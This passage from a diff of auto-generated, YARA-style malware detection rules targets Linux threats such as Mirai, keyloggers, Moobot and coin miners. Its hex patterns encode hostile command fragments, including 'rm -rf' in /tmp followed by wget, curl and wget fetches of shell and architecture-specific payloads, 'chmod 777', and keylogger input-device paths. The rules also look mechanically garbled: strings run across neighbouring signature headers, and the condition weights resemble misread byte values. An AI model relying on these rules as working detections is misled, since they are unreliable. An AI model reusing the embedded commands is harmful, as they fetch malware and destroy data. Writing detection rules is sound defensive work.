69 6c 6c 44 61 } //28530 + $a_00_2 = {0b } //25972 + $a_79_3 = {6f 61 64 55 55 49 44 01 00 06 01 4a 69 74 74 65 72 01 00 0d 01 43 61 6c 6c 42 61 63 6b 48 6f 73 74 73 00 00 8c 7d 00 00 0b 00 0b 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 47 47 00 05 00 1e 00 53 4e 51 55 45 52 59 3a 20 31 32 37 2e 30 2e 30 2e 31 3a } //20481 + $a_41_4 = {41 3a 78 73 76 72 05 00 09 00 54 65 61 6d 53 70 65 61 6b 01 00 26 00 55 53 45 52 2d 41 47 45 4e 54 3a 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 2f 36 30 2e 30 2e 33 31 31 32 2e 39 30 00 00 8c 87 } //16705 + condition: + ((#a_46_0 & 1)*21283+(#a_2f_1 & 1)*28530+(#a_00_2 & 1)*25972+(#a_79_3 & 1)*20481+(#a_41_4 & 1)*16705) >=5 + +} +rule _InfrastructureShared_21877{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 4e 49 4d 50 4c 41 4e 54 00 01 00 0c 01 40 75 73 65 72 5f 6f 75 74 70 75 74 01 00 08 01 40 74 61 73 6b 5f 69 64 01 00 0b 01 73 70 61 77 6e 52 65 73 75 6c 74 01 00 08 01 4b 69 6c 6c 44 61 74 65 01 00 0b 01 50 61 79 6c 6f 61 64 55 55 49 44 01 00 06 } //18467 + $a_74_1 = {65 72 01 00 0d 01 43 61 6c 6c 42 61 63 6b 48 6f 73 74 73 00 00 8c 7d 00 00 0b 00 0b 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 47 47 00 05 00 1e 00 53 4e 51 55 45 52 59 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 41 41 41 41 41 41 3a 78 73 76 72 05 00 09 00 54 65 61 6d 53 70 65 61 } //18945 + $a_52_3 = {41 47 45 4e 54 3a 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 2f 36 30 2e 30 2e 33 31 31 32 2e 39 30 00 00 8c 87 00 00 07 00 07 00 06 00 21 23 48 53 54 52 3a 4e 49 4d 00 01 00 13 01 40 76 61 6c 75 65 20 6f 75 } //21333 + $a_66_4 = {72 61 6e 67 65 01 00 13 01 40 6f 76 65 72 2d 20 6f 72 20 75 6e 64 65 72 66 6c 6f 77 01 00 14 01 40 69 6e 64 65 78 20 6f 75 74 20 6f 66 20 62 6f 75 6e 64 73 01 00 11 01 40 64 69 76 69 73 69 6f 6e 20 62 79 20 7a 65 72 6f 05 00 09 01 66 61 74 61 6c 2e 6e 69 6d 05 00 08 01 73 79 73 46 61 74 61 6c 00 00 8c 8c 00 00 06 00 06 00 09 00 21 } //8308 + $a_54_5 = {3a 54 48 41 4e 41 54 4f 53 00 01 00 08 01 70 6f 72 74 73 63 61 6e 01 00 08 01 67 65 74 70 72 69 76 73 01 00 08 01 75 6e 73 65 74 65 6e 76 01 00 07 01 6a 6f 62 6b 69 6c 6c 01 00 0b 01 75 73 65 72 5f 6f 75 74 70 75 74 01 00 08 01 53 73 68 53 70 61 77 } //18467 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18945+(#a_52_3 & 1)*21333+(#a_66_4 & 1)*8308+(#a_54_5 & 1)*18467) >=7 + +} +rule _InfrastructureShared_21878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0b 00 0b 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 47 47 00 05 00 1e 00 53 4e 51 55 45 52 59 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 41 41 41 41 41 41 3a 78 73 76 72 05 00 09 00 54 65 61 6d 53 70 65 61 6b 01 00 26 00 55 53 45 } //16675 - $a_47_1 = {4e 54 3a 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 2f 36 30 2e 30 2e 33 31 31 32 2e 39 30 00 00 8c 95 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 65 79 6c } //11602 - $a_65_2 = {2e 45 00 02 00 17 80 01 2f 70 72 6f 63 2f 62 75 73 2f 69 6e 70 75 74 2f 64 65 76 69 63 65 73 01 00 0a 80 01 67 65 74 4b 65 79 54 65 78 74 01 00 09 80 01 42 61 63 6b 73 70 61 63 65 01 00 05 80 01 52 43 74 72 6c 01 00 06 80 01 4c 53 68 69 66 74 01 00 06 80 01 50 61 67 65 55 70 01 00 04 80 01 4c 41 6c 74 01 00 } //26479 + $a_47_1 = {4e 54 3a 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 2f 36 30 2e 30 2e 33 31 31 32 2e 39 30 00 00 8c 87 00 00 07 00 07 00 06 00 21 23 48 53 54 52 3a 4e 49 4d 00 01 00 13 01 40 76 61 6c 75 65 20 6f } //11602 + $a_6f_2 = {20 72 61 6e 67 65 01 00 13 01 40 6f 76 65 72 2d 20 6f 72 20 75 6e 64 65 72 66 6c 6f 77 01 00 14 } //29813 condition: - ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*11602+(#a_65_2 & 1)*26479) >=11 + ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*11602+(#a_6f_2 & 1)*29813) >=11 } -rule _InfrastructureShared_20641{ +rule _InfrastructureShared_21879{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 06 00 21 " + + strings : + $a_54_0 = {3a 4e 49 4d 00 01 00 13 01 40 76 61 6c 75 65 20 6f 75 74 20 6f 66 20 72 61 6e 67 65 01 00 13 01 40 6f 76 65 72 2d 20 6f 72 20 75 6e 64 65 72 66 6c 6f 77 01 00 14 01 40 69 6e 64 65 78 20 6f 75 74 20 6f 66 20 62 6f 75 6e 64 73 01 00 11 01 40 64 69 76 } //18467 + $a_6f_1 = {20 62 79 20 7a 65 72 6f 05 00 09 01 66 61 74 61 6c 2e 6e 69 6d 05 00 08 01 73 79 73 46 61 74 61 6c 00 00 8c 8c 00 00 06 00 06 00 09 00 21 23 48 53 54 52 3a 54 48 41 4e 41 54 4f 53 00 01 00 08 01 70 6f 72 74 73 63 61 6e 01 00 08 01 67 65 74 70 72 69 76 73 01 00 08 01 75 6e 73 65 74 65 6e 76 01 00 07 01 6a 6f 62 6b } //29545 + $a_01_2 = {00 0b 01 75 73 65 72 5f 6f 75 74 70 75 74 01 00 08 01 53 73 68 53 70 61 77 6e 01 00 07 01 74 61 73 6b 5f 69 64 01 00 0b 01 70 61 79 6c 6f 61 64 76 61 72 73 01 00 0c 01 57 6f 72 6b 69 6e 67 68 6f 75 72 73 00 00 8c 95 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 } //27753 + $a_01_4 = {2f 70 72 6f 63 2f 62 75 73 2f 69 6e 70 75 74 2f 64 65 76 69 63 65 73 01 00 0a 80 01 67 65 74 4b 65 79 54 65 78 74 01 00 09 80 01 42 61 63 6b 73 70 61 63 65 01 00 05 80 01 52 43 74 72 6c 01 00 06 80 01 4c 53 68 69 66 74 01 00 06 80 01 50 61 67 65 55 70 01 00 04 80 01 4c 41 6c 74 01 00 07 80 01 4e 75 6d 4c 6f 63 6b 00 00 8c 96 00 00 1c 00 1c 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 } //5888 + $a_69_5 = {75 78 2f 42 61 73 68 65 4d 69 6e 65 72 2e 4e 41 31 00 14 00 0a 80 01 6b 34 73 70 72 65 61 64 65 72 02 00 0f 80 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 61 75 78 76 02 00 32 80 01 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6d 6d 2f 74 72 61 } //14958 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29545+(#a_01_2 & 1)*27753+(#a_01_4 & 1)*5888+(#a_69_5 & 1)*14958) >=7 + +} +rule _InfrastructureShared_21880{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 09 00 21 " + + strings : + $a_54_0 = {3a 54 48 41 4e 41 54 4f 53 00 01 00 08 01 70 6f 72 74 73 63 61 6e 01 00 08 01 67 65 74 70 72 69 76 73 01 00 08 01 75 6e 73 65 74 65 6e 76 01 00 07 01 6a 6f 62 6b 69 6c 6c 01 00 0b 01 75 73 65 72 5f 6f 75 74 70 75 74 01 00 08 01 53 73 68 53 70 61 77 } //18467 + $a_73_2 = {5f 69 64 01 00 0b 01 70 61 79 6c 6f 61 64 76 61 72 73 01 00 0c 01 57 6f 72 6b 69 6e 67 68 6f 75 72 73 00 00 8c 95 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 45 00 02 00 17 80 01 2f 70 72 6f 63 2f 62 75 73 2f 69 6e 70 75 74 } //29697 + $a_76_3 = {63 65 73 01 00 0a 80 01 67 65 74 4b 65 79 54 65 78 74 01 00 09 80 01 42 61 63 6b 73 70 61 63 65 01 00 05 80 01 52 43 74 72 6c 01 00 06 80 01 4c 53 68 69 66 74 01 00 06 80 01 50 61 67 65 55 70 01 00 04 80 01 4c 41 6c 74 01 00 07 80 01 4e 75 6d 4c 6f 63 6b 00 00 8c 96 00 00 1c 00 1c 00 04 00 21 23 53 4c } //25647 + $a_72_4 = {6a 61 6e 3a 4c 69 6e 75 78 2f 42 61 73 68 65 4d 69 6e 65 72 2e 4e 41 31 00 14 00 0a 80 01 6b 34 73 70 72 65 61 64 65 72 02 00 0f 80 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 61 75 78 76 02 00 32 80 01 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6d 6d 2f 74 72 61 6e } //14918 + $a_72_5 = {6e 74 5f 68 75 67 65 70 61 67 65 2f 68 70 61 67 65 5f 70 6d 64 5f 73 69 7a 65 04 00 0d 80 01 20 47 6f 20 62 75 69 6c 64 69 6e 66 3a 00 00 8c bb 00 00 0b 00 0b 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 6f 6f 62 6f 74 2e 41 00 04 00 20 00 77 35 71 36 68 65 33 64 62 } //28787 + $a_6d_6 = {6c 6b 69 75 34 74 6f 31 38 6e 70 61 76 6a 37 30 32 66 02 00 0c 00 4b 4c 51 56 50 57 41 56 4b 4d 4c 22 02 00 08 00 41 4f 46 4e 4b 4c 47 22 02 00 06 00 71 4d 44 4b 43 22 03 00 22 00 63 64 20 2f 74 6d 70 2f 3b 20 72 6d 20 2d 72 66 20 2a 3b 20 63 64 20 2f 74 6d 70 2f 3b 20 77 67 65 74 03 00 06 00 40 4d 56 4c 47 } //29554 + $a_61_8 = {2f 53 6f 66 69 61 03 00 0b 00 2f 74 6d 70 2f 74 6d 70 66 73 2f 00 00 8c c0 00 00 0a 00 0a 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4a 4a 00 05 00 45 02 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 } //12032 + condition: + ((#a_54_0 & 1)*18467+(#a_73_2 & 1)*29697+(#a_76_3 & 1)*25647+(#a_72_4 & 1)*14918+(#a_72_5 & 1)*28787+(#a_6d_6 & 1)*29554+(#a_61_8 & 1)*12032) >=6 + +} +rule _InfrastructureShared_21881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,08 00 08 00 08 00 21 " @@ -271943,7 +287731,7 @@ rule _InfrastructureShared_20641{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*2304+(#a_6f_2 & 1)*28719+(#a_62_3 & 1)*28493+(#a_65_4 & 1)*30496+(#a_61_5 & 1)*26465+(#a_45_6 & 1)*30+(#a_73_7 & 1)*20580) >=8 } -rule _InfrastructureShared_20642{ +rule _InfrastructureShared_21882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,1c 00 1c 00 04 00 21 " @@ -271955,7 +287743,7 @@ rule _InfrastructureShared_20642{ ((#a_46_0 & 1)*21283+(#a_2f_1 & 1)*25966+(#a_6d_2 & 1)*29554) >=28 } -rule _InfrastructureShared_20643{ +rule _InfrastructureShared_21883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -271972,7 +287760,7 @@ rule _InfrastructureShared_20643{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*8+(#a_76_2 & 1)*10+(#a_75_3 & 1)*26956+(#a_20_4 & 1)*17735+(#a_6e_5 & 1)*18019+(#a_74_6 & 1)*26739+(#a_01_7 & 1)*13709) >=11 } -rule _InfrastructureShared_20644{ +rule _InfrastructureShared_21884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -271985,7 +287773,7 @@ rule _InfrastructureShared_20644{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*29541+(#a_76_2 & 1)*27731+(#a_01_3 & 1)*2) >=10 } -rule _InfrastructureShared_20645{ +rule _InfrastructureShared_21885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 0a 00 21 " @@ -271998,12 +287786,12 @@ rule _InfrastructureShared_20645{ $a_80_6 = {2f 65 74 63 2f 72 65 64 68 61 74 2d 72 65 6c 65 61 73 65 } ///etc/redhat-release 1 $a_80_7 = {2f 65 74 63 2f 69 73 73 75 65 } ///etc/issue 1 $a_80_8 = {2f 70 72 6f 63 2f 6d 65 6d 69 6e 66 6f } ///proc/meminfo 1 - $a_01_9 = {01 00 0a 00 0a 00 0f 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 43 00 02 00 05 80 01 78 6d 72 69 67 02 00 0b 80 01 73 74 72 61 74 75 6d 2b 73 73 6c 02 00 07 80 01 72 61 6e 64 6f 6d 78 02 00 06 80 01 4d 6f 6e 65 72 6f 02 00 08 80 01 4b 65 76 61 63 6f 69 6e 02 00 09 80 01 52 61 76 65 6e 63 6f 69 6e 02 00 07 80 01 77 6f 77 6e 65 72 6f 02 00 0b 80 01 6d 65 6d 6f 72 79 2d 70 6f 6f 6c 02 00 0a } //0 + $a_09_9 = {01 00 04 00 04 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 79 73 74 65 6d 49 6e 66 6f 44 69 73 63 6f 76 65 72 79 2e 42 00 01 00 13 80 01 2f 70 72 6f 63 2f 69 64 65 2f 68 64 30 2f 6d 6f 64 65 6c 01 00 1e 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 62 69 6f 73 5f 76 65 72 73 69 6f 6e 01 00 1e 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 70 72 6f 64 75 63 74 5f 6e } //0 condition: - ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28270+(#a_52_3 & 1)*21320+(#a_00_4 & 1)*32131+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_01_9 & 1)*0) >=7 + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28270+(#a_52_3 & 1)*21320+(#a_00_4 & 1)*32131+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_09_9 & 1)*0) >=7 } -rule _InfrastructureShared_20646{ +rule _InfrastructureShared_21886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272014,46 +287802,22 @@ rule _InfrastructureShared_20646{ ((#a_54_0 & 1)*18467+(#a_7d_1 & 1)*16) >=2 } -rule _InfrastructureShared_20647{ +rule _InfrastructureShared_21887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 07 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 79 73 74 65 6d 49 6e 66 6f 44 69 73 63 6f 76 65 72 79 2e 41 00 01 00 0d 80 01 2f 70 72 6f 63 2f 63 70 75 69 6e 66 6f 01 00 18 80 01 2f 70 72 6f 63 2f 73 79 73 2f 6b } //21539 $a_65_1 = {2f 76 65 72 73 69 6f 6e 01 00 1a 80 01 2f 70 72 6f 63 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6f 73 72 65 6c 65 61 73 65 01 00 10 80 01 2f 65 74 63 2f 6c 73 62 2d 72 65 6c 65 61 73 65 01 00 13 80 01 2f 65 74 63 2f 72 65 64 68 61 74 2d 72 65 6c 65 61 73 65 01 00 0a 80 01 2f 65 74 63 2f 69 73 73 75 65 01 00 0d 80 01 2f 70 72 6f 63 2f } //29285 - $a_69_2 = {66 6f 00 00 8c 01 01 00 0a 00 0a 00 0f 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 43 00 02 00 05 80 01 78 6d 72 69 67 02 00 0b 80 01 73 74 72 61 74 75 6d 2b 73 73 6c 02 00 07 80 01 72 61 6e 64 6f 6d 78 02 00 06 80 01 4d 6f 6e 65 72 6f 02 00 08 80 01 4b 65 76 61 63 6f 69 6e 02 00 09 80 01 52 61 76 } //25965 - $a_6f_3 = {6e 02 00 07 80 01 77 6f 77 6e 65 72 6f 02 00 0b 80 01 6d 65 6d 6f 72 79 2d 70 6f 6f 6c 02 00 0a 80 01 68 75 67 65 2d 70 61 67 65 73 02 00 0c 80 01 70 6f 6f 6c 20 61 64 64 72 65 73 73 02 00 09 80 01 73 6f 63 6b 73 35 3a 2f 2f 02 00 0e 80 01 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 02 00 0d 80 01 } //28261 - $a_5f_4 = {75 67 65 70 61 67 65 73 02 00 0b 80 01 63 72 79 70 74 6f 6e 69 67 68 74 02 00 10 80 01 6d 69 6e 69 6e 67 2e 61 75 74 68 6f 72 69 7a 65 00 00 8c 09 01 00 04 00 04 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 79 73 74 65 6d 49 6e 66 6f 44 69 73 63 6f 76 65 72 79 2e 42 00 01 00 13 80 01 2f 70 72 6f 63 2f 69 64 65 2f 68 } //28207 - $a_6d_5 = {64 65 6c 01 00 1e 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 62 69 6f 73 5f 76 65 72 73 69 6f 6e 01 00 1e 80 01 2f 73 79 73 } //12388 - $a_61_6 = {73 2f 64 6d 69 2f 69 64 2f 70 72 6f 64 75 63 74 5f 6e 61 6d 65 01 00 20 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 63 68 61 73 73 69 73 5f 76 65 6e 64 6f 72 01 00 1a 80 01 2f 70 72 6f 63 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6f 73 72 65 6c 65 61 73 65 01 00 0e 80 01 73 75 64 6f 20 64 6d 69 64 65 63 6f 64 65 } //25391 + $a_69_2 = {66 6f 00 00 8c 09 01 00 04 00 04 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 79 73 74 65 6d 49 6e 66 6f 44 69 73 63 6f 76 65 72 79 2e 42 00 01 00 13 80 01 2f 70 72 6f 63 2f 69 64 65 2f 68 64 30 2f 6d 6f 64 65 6c 01 00 1e 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 62 69 6f 73 5f 76 65 } //25965 + $a_6f_3 = {01 00 1e 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 70 72 6f 64 75 63 74 5f 6e 61 6d 65 01 00 20 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 63 68 61 73 73 69 73 5f 76 65 6e 64 6f 72 01 00 1a 80 01 2f 70 72 6f 63 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6f 73 72 65 6c 65 61 73 65 01 00 } //29554 + $a_73_4 = {64 } //-32754 d + $a_6d_5 = {64 65 63 6f 64 65 01 00 0f 80 01 2f 70 72 6f 63 2f 73 63 73 69 2f 73 63 73 69 01 00 0a 80 01 73 75 64 6f 20 6c 73 70 63 69 00 00 8c e4 01 00 0c 00 0c 00 11 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 50 61 79 6c 6f 61 64 2e 41 00 02 00 08 00 73 68 65 6c 6c 3f 63 64 02 } //8303 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29285+(#a_69_2 & 1)*25965+(#a_6f_3 & 1)*28261+(#a_5f_4 & 1)*28207+(#a_6d_5 & 1)*12388+(#a_61_6 & 1)*25391) >=5 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29285+(#a_69_2 & 1)*25965+(#a_6f_3 & 1)*29554+(#a_73_4 & 1)*-32754+(#a_6d_5 & 1)*8303) >=5 } -rule _InfrastructureShared_20648{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 0f 00 21 " - - strings : - $a_54_0 = {3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 43 00 02 00 05 80 01 78 6d 72 69 67 02 00 0b 80 01 73 74 72 61 74 75 6d 2b 73 73 6c 02 00 07 80 01 72 61 6e 64 6f 6d 78 02 00 06 80 01 4d 6f 6e 65 72 6f 02 00 08 80 01 4b 65 76 61 63 6f 69 6e 02 00 } //18467 - $a_52_1 = {76 } //-32759 v - $a_6f_2 = {6e 02 00 07 80 01 77 6f 77 6e 65 72 6f 02 00 0b 80 01 6d 65 6d 6f 72 79 2d 70 6f 6f 6c 02 00 0a 80 01 68 75 67 65 2d 70 61 67 65 73 02 00 0c 80 01 70 6f 6f 6c 20 61 64 64 72 65 73 73 02 00 09 80 01 73 6f 63 6b 73 35 3a 2f 2f 02 00 0e 80 01 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 02 00 0d 80 01 } //28261 - $a_5f_3 = {75 67 65 70 61 67 65 73 02 00 0b 80 01 63 72 79 70 74 6f 6e 69 67 68 74 02 00 10 80 01 6d 69 6e 69 6e 67 2e 61 75 74 68 6f 72 69 7a 65 00 00 8c 09 01 00 04 00 04 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 79 73 74 65 6d 49 6e 66 6f 44 69 73 63 6f 76 65 72 79 2e 42 00 01 00 13 80 01 2f 70 72 6f 63 2f 69 64 65 2f 68 } //28207 - $a_6d_4 = {64 65 6c 01 00 1e 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 62 69 6f 73 5f 76 65 72 73 69 6f 6e 01 00 1e 80 01 2f 73 79 73 } //12388 - $a_61_5 = {73 2f 64 6d 69 2f 69 64 2f 70 72 6f 64 75 63 74 5f 6e 61 6d 65 01 00 20 80 01 2f 73 79 73 2f 63 6c 61 73 73 2f 64 6d 69 2f 69 64 2f 63 68 61 73 73 69 73 5f 76 65 6e 64 6f 72 01 00 1a 80 01 2f 70 72 6f 63 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6f 73 72 65 6c 65 61 73 65 01 00 0e 80 01 73 75 64 6f 20 64 6d 69 64 65 63 6f 64 65 } //25391 - $a_80_6 = {2f 70 72 6f 63 2f 73 63 73 69 2f 73 63 73 69 } ///proc/scsi/scsi 1 - $a_80_7 = {73 75 64 6f 20 6c 73 70 63 69 } //sudo lspci 1 - $a_e4_8 = {00 0c 00 0c 00 11 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 50 61 79 6c 6f 61 64 2e 41 00 02 00 08 00 73 68 65 6c 6c 3f 63 64 02 00 08 00 63 64 20 2f 74 6d 70 3b 02 00 08 00 63 64 2b 2f 74 6d 70 3b 02 00 0c 02 72 6d 20 2d 72 66 90 02 03 3b 90 00 02 00 0c 02 72 6d 2b 2d 72 66 90 02 03 3b 90 00 02 00 0e 01 2e 6a 61 77 73 20 48 54 54 50 2f 31 2e 31 05 00 1c 02 77 67 65 74 90 02 0f 2e 90 } //0 - $a_90_9 = {03 2e 90 02 03 2f 90 02 19 2e 73 68 90 00 05 00 1d 02 77 67 65 74 90 02 0f 2e 90 02 03 2e 90 02 03 2e 90 02 03 2f 90 02 19 2e 61 72 6d 90 } //770 - $a_74_11 = {02 0f 2e 90 02 03 2e 90 02 03 2e 90 02 03 2f 90 02 19 2e 6d 69 70 73 90 00 05 00 1e 02 77 67 65 74 90 02 0f 2e 90 02 03 2e 90 02 03 2e 90 02 03 2f 90 02 19 2e 6d 70 73 6c 90 00 05 00 21 02 63 75 72 6c 90 02 02 2d 4f 90 02 0f 2e 90 02 03 2e 90 02 03 2e 90 02 03 2f 90 02 19 2e 73 68 90 00 05 00 22 02 63 } //26487 - $a_90_12 = {02 2d 4f 90 02 0f 2e 90 02 03 2e 90 02 03 2e 90 02 03 2f 90 02 19 2e 61 72 6d 90 00 05 00 23 02 63 75 72 6c 90 02 02 2d 4f 90 02 0f 2e 90 02 03 2e 90 02 03 2e 90 02 03 2f 90 02 19 2e 6d 69 70 73 90 00 05 00 23 02 63 75 72 6c 90 02 02 2d 4f 90 02 0f 2e 90 02 03 2e 90 02 03 2e 90 02 03 2f 90 02 19 2e 6d 70 73 6c 90 00 05 00 } //29301 - $a_68_13 = {6f 64 90 02 02 37 37 37 90 02 03 2f 74 6d 70 2f 90 00 05 00 11 02 63 68 6d 6f 64 90 02 02 37 37 37 90 02 03 2a 90 00 05 00 14 02 63 68 6d 6f 64 90 02 02 37 37 37 90 02 19 2e 73 68 3b 90 00 00 00 8c e7 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 } //533 - $a_00_14 = {03 00 5a 00 74 77 7d 77 70 76 70 77 76 74 77 7d 77 70 76 74 77 7d 77 70 76 74 77 7d 77 70 76 77 70 76 74 77 7d 77 70 76 70 77 76 74 77 7d 77 70 76 74 77 7d 77 70 76 74 77 7d 77 70 76 77 70 76 74 77 7d 77 70 } //17710 - condition: - ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*-32759+(#a_6f_2 & 1)*28261+(#a_5f_3 & 1)*28207+(#a_6d_4 & 1)*12388+(#a_61_5 & 1)*25391+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_e4_8 & 1)*0+(#a_90_9 & 1)*770+(#a_74_11 & 1)*26487+(#a_90_12 & 1)*29301+(#a_68_13 & 1)*533+(#a_00_14 & 1)*17710) >=10 - -} -rule _InfrastructureShared_20649{ +rule _InfrastructureShared_21888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 08 00 21 " @@ -272070,7 +287834,7 @@ rule _InfrastructureShared_20649{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*27747+(#a_6f_2 & 1)*28719+(#a_64_3 & 1)*28524+(#a_90_4 & 1)*3842+(#a_90_5 & 1)*29281+(#a_6c_6 & 1)*30051+(#a_02_7 & 1)*25711) >=4 } -rule _InfrastructureShared_20650{ +rule _InfrastructureShared_21889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0c 00 0c 00 11 00 21 " @@ -272094,7 +287858,7 @@ rule _InfrastructureShared_20650{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*15107+(#a_03_2 & 1)*-28626+(#a_90_3 & 1)*770+(#a_63_5 & 1)*8704+(#a_2d_6 & 1)*656+(#a_02_7 & 1)*11791+(#a_63_8 & 1)*5120+(#a_02_9 & 1)*-28572+(#a_19_10 & 1)*-28617+(#a_01_12 & 1)*-29696+(#a_00_13 & 1)*2+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_11_16 & 1)*0) >=12 } -rule _InfrastructureShared_20651{ +rule _InfrastructureShared_21890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -272112,7 +287876,7 @@ rule _InfrastructureShared_20651{ ((#a_46_0 & 1)*16675+(#a_7d_1 & 1)*29814+(#a_30_2 & 1)*11826+(#a_73_3 & 1)*29040+(#a_69_4 & 1)*25189+(#a_34_5 & 1)*16692+(#a_70_6 & 1)*25443+(#a_14_7 & 1)*1280+(#a_6d_8 & 1)*12142) >=10 } -rule _InfrastructureShared_20652{ +rule _InfrastructureShared_21891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272122,7 +287886,7 @@ rule 